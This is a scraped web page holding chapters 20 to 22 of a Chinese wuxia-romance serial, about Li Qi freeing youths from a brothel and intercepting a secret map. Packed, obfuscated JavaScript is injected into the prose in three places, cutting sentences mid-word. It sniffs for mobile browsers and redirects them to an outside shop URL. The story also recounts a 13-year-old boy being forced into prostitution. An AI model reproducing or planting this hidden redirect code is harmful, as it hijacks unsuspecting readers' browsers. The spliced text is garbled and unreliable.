;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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六人也都在门边低眉顺眼候着。 三个男孩倒是都被带到了李棋面前,两个看起来八九岁,一个看起来十四五岁。 男人对红郎道:“阿郎,姑娘来了六个,将军、男子来了四个。少年除了他们三个,栩云几个人都不愿意来。” “为何?”李棋尤其不解,猛地站了起来,“你和他们都说了为什么叫他们来吗?” 红郎看向男人,示意他说,男人这才说:“说了,我去的时候,他们都在栩云的房间。我和他们说了有活菩萨显灵,愿意买下他们还他们自由。栩云说,他已经习惯在红楼被人娇惯养着的生活了,离开红楼,他不但得遭受白眼,还得靠自己生存。与其如此,他还不如留在红楼。栩云如此说,另外几个也就都跟着不愿意来了。” “其余姑娘们也是类似的说辞。” 李棋听着还是不解,看向那个十四五岁的少年,“你和他们在一起吗?他们当真这么说?” 少年抬起头看向李棋,点头道,“是,栩云哥是这么说的。” 不等李棋说话,红郎笑问:“你不是最听栩云的话吗?今天怎么不听了?我对你不好?就这么想离开我?” “不是的。”少年连连摇头,“阿郎哥对我很好,我想离开,是因为睿哥哥。” 少年说着,还有些羞怯起来。 李棋看得一愣一愣的,没想到这小少年有心上人就算了,他的心上人还是个男人。 红郎好笑摇头,“睿哥哥。他倒是个不错的人,但愿你的睿哥哥不辜负你。” “睿哥哥不会的,他在攒钱为我赎身,他的钱都攒在我这里,昨天他还来看我了呢。”少年羞怯笑着说完,有些骄傲又道,“睿哥哥已经攒了五十五金了。” 赵天禄从少年进来就看着他,听到这终于忍不住了,他问:“你口中的睿哥哥是全睿吗?” 少年单纯笑问:“你认识睿哥哥?” 赵天禄一脸震惊,“你就是易梦?你怎么取了个女子的名字?” 李棋也是一愣,她倒是没想到,全睿那人模狗样的狗腿子居然还是个深情有担当的。 易梦被吓了一跳。 李棋连忙打断赵天禄,果断决定替这三个小少年和门口那四个男人赎身。 * 两刻钟后,亲眼看着红郎把她们的卖身契和部分钱财分给她们,李棋当即打发她们去收拾东西。 李棋决定好人做到底,打算带着她们一起离开,等待的时间,她一言不发。 红郎和邹杲还有赵天禄三人煮着茶,有一搭没一搭聊得倒是还算愉悦。 她思考挣扎了很久,终于,她还是觉得去见一见那位栩云。 她起身问红郎,“离开前,我能去见一见那个栩云吗?” 红郎一愣,还是示意他身后的男人给李棋带路。 李棋看向邹杲,不等她说话,邹杲对她温柔淡笑:“小棋儿你一人去吧,红郎掌柜好茶极多,还有几种没来得品尝,我就在这等你。” “行。” 李棋好奇那位栩云到底是怎么想的,作为男子,不是更不甘屈居与人下吗。 红郎心情愉悦,让他身边给他们煮茶伺候着的男人先给她带路,吩咐罢,又招呼起邹杲喝茶。 李棋看了相谈甚欢的邹杲和红郎一眼,有些顾虑,但还是先跟着男人出去了。 20. 无尽卷·第二十章 20 门外,等她和易梦聊了几句,男人很快把她带到栩云的房间,很淡雅,和栩云这个人一样。 去时,栩云拿着话本正在给几个少年讲故事,是讲鬼神的志怪故事,他讲得绘声绘色、精妙绝伦。 李棋站在门口,阻止了想打断他的男人,就这么安安静静站在门边听着。 差不多半刻钟,栩云讲完一话,也不管听得意犹未尽的几个少年的央求,温柔赶他们先回去。 几个少年这才跟着栩云的视线看到李棋和带她来的男人,见到她们,全部没有了之前的活泼,一个个毕恭毕敬行礼后离开。 李棋不知道带她来这个男人的名字,但是他一直跟着红郎身边,有什么重要的事,红郎也都是让他去做,想必,买下这些少年,调教他们,也都有他的身影。 为了让栩云不那么拘束,李棋先赶走了男人。 她说了一声,也不管男人同意不同意,直接关上门进去。 只剩下她和栩云,李棋一时倒是不知道说什么好了。 “那个……” 栩云朝她笑了笑,温柔招呼她过去坐,“我去看了姑娘的比试,刚劲有力、势如破竹,栩云佩服不已。” 李棋被他夸得有些尴尬,眼前的人虽然言辞成熟,但是比她还小一岁,也还只是个未及冠的少年郎啊,本该是最意气风发的年龄。 栩云又道:“真的很感激姑娘,给了易梦他们自由,还望姑娘好人做到底,给小八小九安排一个好去处,他们还年幼,尚无自保的能力。” 他意识到李棋或许不知道两个小孩,连忙解释道,“小八小九是姑娘刚刚救下的两个男孩,他们过往的名字遗弃了,新的名字还没有来得及取。不过现在也好,新的名字只是枷锁,没有也好。” 说着,他给李棋倒了一杯茶,双手恭敬递到她面前。 李棋心中五味杂陈接过,良久,才踌躇问道:“你真的不愿意离开吗?” “我现在虽然没那么多钱,但是只要你想,我可以想办法帮你们。”李棋说,“我可以给你们买栋小房子,买几亩地,让你和刚刚那几个孩子一起生活。” 栩云一愣,坐在李棋对面,苦涩笑道:“不用了,多谢姑娘。” 他又道:“我承受不住外界的流言蜚语,阿郎对我很好,留在这里挺好的。” 李棋心急口快,“那以后呢?” “我们这种人哪还有什么以后。”栩云依旧温柔笑着,只是笑得比哭还难看,眼泪直接掉了下来,他连忙擦掉。 “姑娘,真的很感激您,只是,我真的不需要。” 栩云终于又挤出笑容,“我既不像小八小九那样尚还年幼,也不像小梦那样有相伴之人。我已然陷入泥潭,不知天高地厚地去追求自由,只会加速我的死亡。” 他打断欲言又止的李棋,又道:“至于以后,以后再说吧,阿郎哥不会亏待我们的。” “阿郎哥也是从我这样的处境走到今天的,他当时孤身一人,而我现在有他护着。” 闻言,李棋不再劝说他离开。 两人静坐了一会儿,李棋纠结了一会,还是问出了口:“易梦说你祖籍不在瀚海城,是后来逃难过来的对吗?” 栩云一愣,还是点了头。 李棋又问:“易梦还说你是十二岁被卖到这里的。看你的言行举止,家中不像是贫穷的,我能问问你是怎么被卖到这种地方的吗?” “国灭家破,九死一生逃难过来,又被歹人所骗。” “那小八小九呢?”李棋问。 提到小八小九,栩云放下了警惕,心疼说:“这两年瀚海城的赋税收得越来越多,家里人多吃不上饭,他们作为小的,不得不被舍弃。” “赋税?” 栩云意识到自己说错话了,面露难色,见李棋没有责怪,他才又道:“姑娘不知道吗?去年六月,一则童谣在四处传唱,从那时起,瀚海城的赋税便增加了。” 这个李棋还真不知道。 “什么童谣?” “天下一,大灾至,濮水发,众生苦。” 栩云说,“传言去年三月起,两个白发老翁在战乱时走至各地,教孩童传唱,六月便传得举国上下皆知。” “两个白发老翁?” 栩云点头。 李棋心中大概知道这两个老翁是谁了,能有这个本事的,也只有卜算子和临江仙两位爷爷了。 观星占卜的白发老翁,也就只有卜算子,能陪他走遍全国的老翁,除了临江仙,李棋想不到其他人。 李棋还在想他们这么做是真的算到大灾了,还是因为别的什么。 又不由想到天下之大、江湖之广,人才辈出、豪杰众多,这两个老头未必就是她熟知的临江仙和卜算子,或许是朝政行为也说不定。 这时,栩云又问:“姑娘是鄂阳来的人吗?” 李棋被他问得一愣,纠结着,还是选择如实点头。 栩云又道:“姑娘若是不急,去鸿秋塞走走吧。” 鸿秋塞在瀚海城最西边,是另外三国未破灭时,大嬴和大梁两国之间的重要关卡,鸿秋塞本就建在荒芜的沙漠边缘,后来两国交战,只剩下断壁残垣,民不聊生,住在那里的百姓都搬走了,黄沙往外蔓延,鸿秋塞就这么荒芜下来。 鸿秋塞并不属于瀚海城的地界,也不属于相近的荆州地界,只是一片被放弃荒废的无人之地。 听到栩云这么说,李棋不由得对他警觉起来,“你究竟是何人?是从何处听到鸿秋塞的?为何叫我去哪里?” 栩云先是一愣,随即苦笑道:“若是姑娘不来找我,我们甚至没有机会交谈,何来我让姑娘去哪里一说。” 他惆怅又道:“和姑娘提起鸿秋塞,只是因为近几个月瀚海城很多壮年男子无故失踪,失踪的人里,就有小八的二哥,见姑娘菩萨心肠,所以才想让姑娘帮忙找找。” 李棋心中却更加顾忌栩云,冷脸又问:“你怎么肯定他们被掠到了鸿秋塞?” 栩云摇头,“我并不确定,只是听到好几个权贵在喝酒时神神秘秘聊到鸿秋塞,他们聊得多了,我便记住了,现在也只是怀疑。” 李棋凝视了栩云很久,他有些不自在,但是并未躲闪,眼神坦坦荡荡。 她端起栩云给她倒的茶,仰头一饮而尽,而后站起身来,“我会去看看,若如小八的二哥在哪儿,我会尽全力救他回来。” “多谢姑娘。”栩云喜出望外,感激得起身对她又是鞠躬又是道谢。 李棋不喜欢这种场面,看了他一眼,叫他不必放在心上,便准备转身离开。 突然,栩云又叫住她,“姑娘!” 李棋停下脚步,转过头,见他欲言又止,连忙耐心问:“你还有什么事要和我说吗?” “易梦还好,有一些积蓄,小八小九尚还年幼,劳烦姑娘帮我带给一些器物给他们。分别太痛苦,我就不见他们了。”他摇头说着,也不等李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他的声音不再是不男不女的奇怪音色,只是普普通通的大多数中年儒雅男人的音色。 他身后的男人完全愣住了,低着头一言不敢发。 红郎又恢复了之前的模样,厉声呵斥着男人去办事,转身便回了房间,猛地砸上了门,狠狠撞到准备跟着进去的男人脸上。 男人沉默着,在门口站了一会儿,有伙计来找他,他才抬起手擦干净脸上的鼻血,跟着伙计去处理事务。 * 夜幕完全降临,瀚海城被黑夜笼罩。 赵天禄和全睿提着灯笼,带着二十三人前脚离开红楼,后脚红楼便亮起红艳的灯笼,盛装打扮好的女妓们站在门口、窗前,开始招揽客人。 白日沉寂的红楼在阴暗的夜晚鲜活起来。 栩云坐在窗前,透过小缝隙看着易梦被他挂在嘴边的睿哥哥揽着,提着一个暖黄色的灯笼,蹦蹦跳跳地远离红楼,直至消失在漆黑的夜晚。 他知晓,易梦走过这片黑暗之后便是光明,而他,不知道还得在黑暗中挣扎多久,或许,他根本走不出黑暗。 栩云关上窗,看着满屋的红烛,两行泪不受控制缓缓划过他雌雄莫辨的漂亮脸蛋。 不等眼泪完全掉落,一个丫鬟端着胭脂水粉进来。 他快速抹去眼泪,得梳洗打扮了。 21. 无尽卷·第二十一章 21 回去的路上,赵佳惠终于还是跟不上,出声叫了李棋一声,希望她可以慢点。 李棋这才想起赵佳惠的存在,也默默放慢了脚,邹杲也不情不愿跟着放慢脚步。 两人依旧走在前面,赵佳惠依然跟在后面,虽然这回不用那么费力提着裙摆小跑,但还得顾着手里的灯笼,避免不小心跌倒。 “这瀚海城的夜晚倒是很有趣。”邹杲提着灯笼照亮前路,嗤笑道,“如此庞大的一座城,一到夜晚,竟然只有红楼附近那几点微弱的亮光。” 李棋没有接话,而是一边沉思,一边问:“我浪费时间做这些事,你不怪我吗?” 邹杲不答反问:“小棋儿这是怎么了?” 见李棋只是摇头,并不说话,邹杲轻笑道:“本是我有求于你,哪还有脸面怪你什么。” 淡淡的一句话犹如醍醐灌顶,李棋笑了笑,心中的万千苦闷都消失了。 邹杲还是和大多数男人都不一样的。 她原本还只是低低藏着笑,笑着笑着,直接忍不住大笑出声,走路也从轻松到一蹦一跳的,完全释然想通了。 “明天一早,我们就出发吧,往西走,边走边看,找个合适的村落把她们安顿妥当,然后我们就轻装上阵、快马加鞭,直奔幽冥沙漠。” “好。”邹杲温柔笑着点头。 李棋想起赵佳惠,转身倒着走,一边招手喊赵佳惠过来,一边阴阳怪气问他,“那佳惠妹妹呢?今天让她跟着我们吃了这么多苦,王爷您就不打算给人家一个交代?” 佳惠小跑过来,闻言羞怯看了邹杲一眼,不等邹杲看向她,就先害羞地低下了头。 李棋看得直摇头,赵佳惠太纯良了。 虽然邹杲外貌绝佳、身份高贵、能力非凡,但是倒也不必对他如此喜欢吧。 就算邹杲承诺娶了她,有赵孟这个父亲横插在其中,她都不会好过。 特别是如果邹杲还有再继续往上爬的决心的话,他这时候若真的有妻妾,也只会是可怜的垫脚石。 李棋突然想到,邹杲之前不近女色,或许便是不想有羁绊顾虑,这多半也是成武帝忌惮他的原因之一。 但邹杲不会不知道这样会被忌惮,所以,他和儿时那个女孩的约定便成了最好的借口。 而邹杲也没让李棋‘失望’,果然是利用完就立刻撇清关系。 他看都没回头看赵佳惠一眼,便道貌岸然说:“今天的确让侄女受了不少苦,回去本王便和赵兄请罪,待日后侄女大婚出嫁,定然会在她的嫁妆中多添些东西,让侄女能在夫家立足。” 赵佳惠脸上羞涩的表情瞬间就消失了,抬起头来,错愕看着邹杲。 邹杲还是没分她眼神,倒是顺手伸手扶了一下因为太震惊差点崴脚的李棋。 “小心点。” 李棋看着邹杲,欲骂又止,心道利用人家的时候就是‘佳惠’,没用了就是‘侄女’,狗男人,果然薄情寡义。 她又看向赵佳惠,然后便对上赵佳惠不可思议、泫然欲泣、恍然大悟的眼神。 她莫名觉得对不起赵佳惠,下意识甩开了邹杲的胳膊。 “我武功那么高,不用你扶。” “赶紧走,天都黑了,磨蹭什么。” 她心虚说着,抓过赵佳惠,带着她大步走在前面。 赵佳惠仰头看着李棋,一双眼睛水汪汪的,几次欲言又止,但都被李棋先一步堵了回去。 * 三人回到城主府门口,还没敲门,赵孟就带着十来个举着火把的人出来迎接他们了。 他先是一番关心,又和邹杲试探性说起红楼的事。 被邹杲以他如今只是一个闲散王爷、管不了、也不该他管打发了过去。 之后,赵孟又和他说起一些无关紧要的往事,时不时还夸一下赵佳惠,说他有如何看重这个小女儿,说他这个小女儿有多乖巧懂事。 邹杲笑眯眯的,也不给准确的回复,也不指明拒绝。 李棋不想听他们笑里藏刀、虚情假意的闲聊,说了一声就回屋了。 * 她回到屋,吃完饭,要来水舒舒服服洗了个澡,又往伤口上撒了些她自己研制的药粉。 她没有着急包扎,也没有着急穿上衣服,她只穿了一件贴身衣物,披着衣服走到了床边的梳妆台边。 李棋拿过蜡烛,坐在镜子前,仔细端详着她左肩栩栩如生的彼岸花,从头开始理这段时间发生的事。 * 这是她第一次和一个年龄相仿的男人如此形影不离的相处,邹杲本人又有一副好皮囊,她一个不注意,被邹杲迷得五迷三道的,把一切都想得太简单。 今天在红楼见识到很多她不曾经历过的苦难与无奈,才彻底冷静下来。 她以为今晚回来的途中,十有八九会遭到追杀,可能会是一场恶战。 然而,风平浪静,什么也没有发生。 还有邹杲,他对于解药好像并没有那么迫切,好像中毒的不是他,或者他已经拿到了解药,又或者有了万全的对策。 但是也不太对,邹杲毒发时的症状和脉搏做不得假,‘无忧’只有她和师父知晓配方。 总不能,师父在她不知晓的时候,和邹杲达成了协议吧。 这也不太对,邹杲和师父若达成协议,她作为徒弟,也该站在邹杲那边,他们没有必要瞒着她。 师父和邹杲达成协议的可能性还是不大。 但邹杲看起来完全不紧张。 他到底有什么准备,有什么后路,李棋目前真的猜不透。 他行事比自己还张扬,虽然四爪龙袍没了,但他还是随时一身紫色衣袍。 但凡是听到过邹杲自己扩散出去的传闻的人,见了他这副打扮,估计都能猜到他就是常胜王邹杲。 他这样,完全就是在告诉他那些仇家‘我是邹杲,我在这,你们快派人来杀我啊!’ 还有邹杲和瀚海城城主赵孟的关系,她刚开始以为赵孟是在给邹杲做事,可是现在看来并不是。 赵孟上头应该还有人保着他,不然,他怎么敢在邹杲过去的亲信都被皇帝贬谪的时候,如此讨好邹杲。 也不知道增收赋税是不是成武帝下令,但这一路走过来,他们也在好几个城池停留过,在这之前,并没有听到过有关增收赋税的任何说法。 若对下收税是一样的,那么,瀚海城增收的赋税便都是进了赵孟和他背后人的口袋。 就算瀚海城与鄂阳相距千里、天高皇帝远,但也总有消息传出去的时候吧。 究竟是什么人,让赵孟敢这么做呢。 可疑的人选,似乎一只手都数得过来。 还有赵佳惠,李棋不相信邹杲不知晓赵佳惠的处境,赵孟也不会自大到认为邹杲不知道。 那赵孟为什么还要把赵佳惠推出来呢? 他像是迫不及待在和邹杲表忠心,告诉邹杲,他是站在邹杲这边的,好让邹杲对他放心。 再联合栩云所说。 倘若栩云没有说谎,想让她去鸿秋塞,也仅仅是因为小八的二哥无故失踪,那有问题的就是时常提起鸿秋塞的那些人了。 能去红楼消遣,必定不是一般百姓,作为瀚海城的子民,却时常提到一处荒芜的荒漠,太反常了。 还有娘亲昨晚传来的那封密信。 她娘亲作为江湖势力金曲楼的当家人、大名鼎鼎的蝶恋花,为何要查瀚海城的城尉,也就是城主赵孟。 指引她去红楼,说明娘亲肯定已经查到了一些消息,那为什么还要喊她再去? 亦或者,喊她去红楼查赵孟是假,让她找借口引邹杲去红楼为真? 为什么要引邹杲去红楼?娘亲又为什么要这样做? 是还人情?做买卖?还是合作? 越理,李棋越理不清。 良久,李棋拿出干净的纱布将伤口包扎好,又拿出药酒把手臂和腿上青紫的地方揉按了一会儿,然后穿戴整齐。 她又换上了便于行动的男装,还打开了后边的窗户透气。 熄灭了蜡烛,她全副武装靠躺在窗柩上。 * 夜深人静,偌大的城主府安静下来。 闭眼假寐的李棋却是倏地睁开了眼。 她步履轻盈,一跃而出,如猫儿般,快速穿梭在城主府中。 她的目的地是城主赵孟的书房,她已经摸清了路线,就等着今晚去一探究竟。 然而,她才赶到,还不等她从她回来时特意去开了条缝隙的窗户进去,就先听到黑漆漆的书房中传来一阵翻动声和脚步声。 见状,李棋也不着急进去了,她跃到房顶上,在房顶上守株待兔。 她等了差不多一刻钟,书房的动静小了,微小的脚步声朝正门的方向走去。 李棋如豹子般,在那人关门的时候,猛地从房顶上扑下去,捂住那人的嘴,将那人按在地上。 男人发出紧张的求饶声,李棋听出来了,是易梦那个睿哥哥,也就是赵天禄身边那个狐假虎威的狗腿子全睿。 李棋动了动嗓子,压低声音,学着的赵天禄的声音问:“全睿,你大晚上的,来我爹的书房做什么?” 全睿一愣,放弃了挣扎,他哀求道:“少爷,我跟了您十年,从来没有求您过什么,就这一次,求您放过我,别告诉老爷。” 他说:“您好不容易求得老爷还我自由,明日,我就和小梦离开了,求您放过我这一次。” 李棋一愣,她完全没想到,几个时辰而已,居然还发生了这么多事,也没想到,赵天禄对身边人还挺好。 她定了定心神,压着声音厉声质问:“知道我为你承受了这么多,你还背着我做这些?” “我没办法,少爷,我真的没办法。”全睿竟然哭了出来,他苦苦哀求,“小梦是我的命,我答应过他娘亲要照顾好他,我已经把他弄丢一次了,这一次,我不能再把他弄丢了,少爷,求您了,您放过我这次吧。” 他哭得很哀伤,李棋却不能作罢。 听他提到易梦,李棋想到了什么,她恢复了原本的声音,放开了全睿,“很好,把王爷要你找的东西给我吧。” 全睿连忙爬起来,不可思议望着她,显然没想到是她,“李姑娘!” “是我,王爷让我来试探你。”李棋脸不红心不跳说着,朝他伸出手,“把王爷要你找的东西给我吧。” 全睿还真被她唬住了,但是他还是有些犹豫,他捂着胸前的东西:“可是,王爷不是让我亲自交给他吗?” 和李棋猜的一样,果然是邹杲在搞鬼。 至于全睿把她今天做的事都归结到邹杲身上,李棋倒是毫不意外。 她知道,有权力有能力的女人只是少数,大多还是不得不依靠男人存活。 像她今天这样抛头露面,公然挑衅红楼的人,还带走那么多女子,大家肯定都以为是身为王爷的邹杲指使她的。 从她比试完,众人怀疑她是红郎找来的、从而对她骂声一片,到邹杲露面、红郎挑明他的身份后,众人不敢再吭声时起,她就意识到了。 “王爷自然是要试探你一番的。”李棋抱臂,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16680506|188740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甚在乎道,“不然,你现在和我去找他求证?” 李棋轻描淡写又说,“府里的巡夜人马上就到这里了,你要是有把握不被他们发现,大可继续拖延时间。届时,别说你,怕是易梦也会被牵连。” 闻言,全睿妥协了,他从衣服中掏出折叠起来的黄色羊皮纸,递给李棋。 他还不太愿意放手,“我赌上了我的命才临摹到它,还望李姑娘多多帮我说好话,求王爷说到做到,放过我和小梦。” 话音未落,一阵脚步声从远处传来,是府里的巡夜人。 李棋一把抢过羊皮纸,提着全睿闪入黑暗中,穿过景观假山,跑向外院,下人住在这边,李棋和邹杲暂住的院落也要从这里经过。 快分别时,李棋好奇问:“你和易梦认识很久了?” 全睿一愣,小声道:“是很久了,我娘和他娘是闺中好友,他出生时,还是我娘给他接生的。他娘难产落下病根,生下他没过几年就离世了,我答应过要照顾好他的,但是他十岁的时候,他爹把他卖了,我弄丢了他,还好,我陪少爷去红楼消遣时,又找到了他。” 提到易梦,全睿的声音都温柔了许多。 李棋有些惘然,没有多问,只警告他今晚的事不要乱说,就快速走了。 * 【以下是全睿视角的自白,不影响剧情,没什么高能,选择性观看】 全睿今年二十岁,他家和易梦家是邻居,两人的娘亲关系很好,易梦是他带着长大的。 他十二岁时,因为个子生得高大、脑子聪明灵活被当时还不是城主夫人的夫人看中,成为如今的少城主赵天禄的仆从,离开了家乡。 直到他知道易梦被他的父亲卖掉时,他也只回家过两次。 第一次回家时,他十四岁,恰逢易梦的娘亲重病,她病逝前,还记挂着长得过于漂亮、性子又柔弱的易梦。 那时候,易梦还叫林蒙。她听闻全睿是在大官家里做事,拖着重病的身体跪下来恳求全睿帮她护着易梦,他也答应了。 但是,那时候的他没有办法带着易梦走。 他再一次回家,是他十六岁的时候,那时候,少城主已经很喜欢他了,城主也非常信任他。 少城主是个很好的人,很多无关紧要的小事都会答应他,少城主也答应他把易梦带到身边,收易梦在他身边当个小跟班,让他们二人生活在一起。 他买了很多东西,带上了他存的所有钱财,满心欢喜跑回去,却得知,一年前,易梦的父亲为了娶新妇,卖掉了才十岁的易梦。 他悲痛欲绝,发了疯的打了易梦的父亲一顿,他想找到易梦,然而他却找不到,更没有能力去找。 他还被他父亲打了一顿,被父亲押着去给易梦的父亲赔礼道歉。 直到前年,他在红楼一眼就认出了易梦,那年易梦十三岁,很巧,那天,也是易梦被逼着接客的第一天。 当时少城主说他表现得很好,要替他□□,原本,他是不可能买下长得越发漂亮的易梦的初/夜的。 但是,少城主当时喝得很醉很尽兴,听他说喜欢易梦,便砸了很多钱,替他买下了易梦的第一晚。 那一晚,他和少城主分别住在相邻的两间屋里,少城主抱着他当时的相好,欢/好了一整夜。 他和易梦也在这种环境下相认,失而复得的喜悦萦绕着两人,他们就这么聊了一整晚。 易梦得知他是儿时的睿哥哥后,又惊又喜,拉着他就是一顿夸,说他好厉害,心疼他这些年受苦了。 全睿越发心疼他,明明他才是受苦了。 看着易梦手臂上因为他的拉扯,不小心露出来的未恢复的红痕,全睿心疼得不行。 他当即就想给易梦赎身,可是高额的赎身费用他拿不出来。 他只能拼命地学习,让城主看到他的价值,更加谄媚,让少城主越发喜欢他,交给他更多重要的事,让他赚到更多的钱。 他很感激少城主,也很感激红郎,红楼的公子每月至少需要接十次客,但红郎答应他,只要他一个月能付给红郎四金,就不逼易梦接别的客,只让他弹唱些小曲。 红郎也的确做到了,在他实在拿不出钱时,还宽恕他过几日再给。 虽然每天都在为了赚钱而发愁,好在,这一次,他没有失信,护住了他。 他本以为这辈子都得如此生活了,却没想到,常胜王替他赎回了易梦,条件是让他将他知道的,有关城主私底下做的那些龌龊事一一坦白。 少城主没被支出去时,他还能接触一些。 近两年,他已经没机会接触到了,只知道城主在鸿秋塞做一些很神秘的事,书房里还有一份神秘的地图。 常胜王承诺他,只要他能将那幅地图临摹出来,就还易梦自由,并且给他们安排个好去处,保证就算事情败露,也会保证他们性命无忧。 他也很愧疚,少城主为了还他自由,还被城主打了两巴掌。 但是,他真的没有别的办法了,他不想就这样下去,不想一辈子都在努力讨好他人来赚钱,不想每次外出时,都提心吊胆,担心拿不出钱,易梦被强迫做他不愿意做的事而受到欺负。 沾少城主的光,他学了很多知识,他想找一处僻静的地方,和易梦一边过日子,一边继续念书,希望有朝一日他也能参加新颁布的选考,出人头地。 他也在担心,担心常胜王利用完他们便杀了他们灭口,但这是他唯一的机会,他只能赌一把。 哪怕还是要继续做狗过活,做常胜王的狗,也比做城主的狗更有前途,更能保护好他自己和易梦。 22. 无尽卷·第二十二章 22 回到和邹杲住的院落,李棋果断拐到邹杲的房间,用匕首撬开了他的房门。 屋里很静,邹杲似乎睡得很熟。 当然,实际并非如此。 李棋摸索着朝内室的大床走去。 和她想得差不多,黑暗中,邹杲披着外衣靠坐在床头,虽闭目养着神,手下却施施然顺着小灵狐的毛发。 她走到床边,只是居高临下看着邹杲,也没说话。 无声较量片刻,还是邹杲先睁开眼。 “小棋儿这是要做什么?”邹杲睁开眼,笑着揶揄她,“小棋儿的心思还真是多变,白日还说要去金曲楼做名妓,怎么现在又做起采花贼的勾当了?” “我要不要拒绝呢?啧啧啧,这可真是个大难题啊!不拒绝显得我很没用,传出去我恐怕会英名不保。拒绝吧,我又舍不得,小棋儿长得这么漂亮……” 李棋原本是想直接把他揍一顿,然后再质问他的,然而现在,她真的是被邹杲气笑了。 邹杲真的越发贱了,不是要玩吗,她奉陪就是了。 李棋勾唇笑了,慢条斯理将手中的羊皮纸卷起来,在邹杲的注视下,放到胸前的衣襟中。 而后,她抬腿半跪在床边,右手抬起邹杲的下巴,玩弄摩挲,“所以,你要不要拒绝我呢?” 也不知道是配合她演戏还是什么,邹杲的呼吸声肉眼可见的重了。 李棋勾唇一笑,“看来是不打算拒绝了。”话音未落,她抬腿上床,骑/跨在邹杲身上。 邹杲的呼吸更加粗重,两人自己的距离近在咫尺。 夜色正浓,只有月亮发出的些许光芒透过窗户、穿进屋里。 李棋只能依稀看清邹杲俊美的脸部轮廓。 不得不再次感慨,邹杲长得真的好看。 李棋有意作践他,她假意靠近,在邹杲仰头要主动凑上来时,猛地撤开,并死死掐住邹杲的下巴。 她嗤笑一声,“堂堂王爷,这么上赶着被人蹂/躏/玩弄啊?如此看来,红楼才是王爷最好的去处呢。” 邹杲也不恼,任她捏着下巴,“怕是不行,旁人动我,还未靠近,我肯定都会忍不住出手打人的,不说当场断气,恐怕也要残疾终身的那种。” 李棋听笑了,当即换了策略。 她行动缓慢的左手抬起放到邹杲的胸膛,慢悠悠、似有若无打着转,“这么久,也没见王爷身边有照顾的人,啧啧啧……” 她故作吃惊,拖长话音,“王爷您那方面该不会是不太中用吧!” 她故作无辜,眨巴了一下眼睛,又问:“所以,这才是王爷你拒绝佳惠、不近女色的真正原因吗?” 李棋突然如此,邹杲先是一愣,随即又觉得有意思。 无论是小时候的原因,还是近期的相处,邹杲越发被李棋吸引,他喜欢这样的李棋,鲜活的、灵动的、调皮恣意的。 虽在极力压着内心的悸动,但李棋一言一行,无一不再吸引他。 特别是如今身上野性十足的李棋。 虽然他知晓伴侣并非征服得来,但他还是会生出一股强烈的、想要征服李棋的冲动。 就像他当初不计代价也要驯服千赤一般。 后来也果然如他所想,千赤被他驯服以后,便只属于他一人,他们默契十足,一人一马所向披靡,战无不胜。 邹杲顺从躺着,神情柔弱注视着李棋,可怜巴巴抓着她的手,看起来好不无辜可怜。 “我也不知道什么样的程度算中用,小棋儿神医,蛮菩萨的高徒活菩萨,您大发慈悲,帮我看看吧。” “什么活菩萨,你故意挖苦我是吧?” 李棋笑得泄了气。 她没好气往他左边肩膀上重重捶了一拳后,翻身坐在床内侧。 活菩萨这个称呼最早是红郎这么叫她,明显的阴阳怪气。 红郎叫就叫了,李棋不在意,所以红郎再怎么讽刺她都无所谓。 但是被邹杲这么一喊,还有师父蛮菩萨在前,只觉哪哪都不对劲。 李棋瞬间就又不想陪他玩了。 “小棋儿,你冤枉我了,天地可鉴,我可没有挖苦你。”邹杲跟着坐起来,同时点燃了旁边烛台里的蜡烛。 “少来。”李棋从衣服里掏出羊皮纸,没好气往邹杲脸上打,“我拼死护你,你却偷偷摸摸搞这些,你难道不打算和我解释一下吗?” “小棋儿,你难道不打算和我解释一下吗?”邹杲笑着抓住羊皮纸,凑近到她耳边轻声道,“比如,你为什么会大晚上的跑到赵孟的书房。” 这会儿,两人倒是十分的平静坦然,如同认识多年、彼此熟识的老友一般。 小灵狐又跑到了两人中间,学着他们的姿势坐着。 李棋看到,没忍住笑出了声,但是看向邹杲,她又冷着脸,没好气道:“你都没解释,我为什么要解释。” “做人不能太厚此薄彼,小棋儿你都不解释,我自然也有不解释的权利。”邹杲笑意盈盈看着她。 李棋也不恼,同样带着浓浓的笑意,饶有兴趣看着他:“那就自己寻找答案吧。” “好。”邹杲说,“彼此照应,互不干扰。”他说着,握着拳头缓缓靠近李棋。 李棋也抬起右手,握拳撞了上去,“各自凭本事说话!” 两人相视而笑,暧昧的氛围在发酵,这时,小奶狐爬了起来,好奇跳起,也想将自己的脑袋撞到了他们碰在一起的拳头上。 两人都忍俊不禁,默契放低了下,让小灵狐顺利撞到。 约定达成,李棋一把捞过小七儿,举着戳它的小肚子,“才几天,你牙都还没长齐,就胖了好多。邹杲,你以后少喂它点。” “好。”邹杲侧头看着玩耍的两人,俊朗的脸上是温柔的笑容。 * 逗了小灵狐一会儿,小灵狐就犯困了,懒洋洋蜷缩在她手里。 见状,李棋把小灵狐放到邹杲身上,抓着羊皮纸坐了起来,“这个,我拿到的,所以我先收着。放心,该给你看的时候,我会给你看的。” “嗯。”邹杲坐起来,笑眯眯点头,又说,“注意安全。” “知道。” 李棋说罢,就大步走出了房间。 她没有立刻回屋,而是又去了一趟书房。 她找到书房的密室,验证了手中地图的准确性。 这个全睿,说忠心也不忠心,说不忠心却还是留了点心眼。 他临摹的地图有好几处明显的错误,尤其是重兵把守的地方他都没有标记出来。 要是真完全按照他这地图,他们也能到达目的地,但多半也会被及时发现。 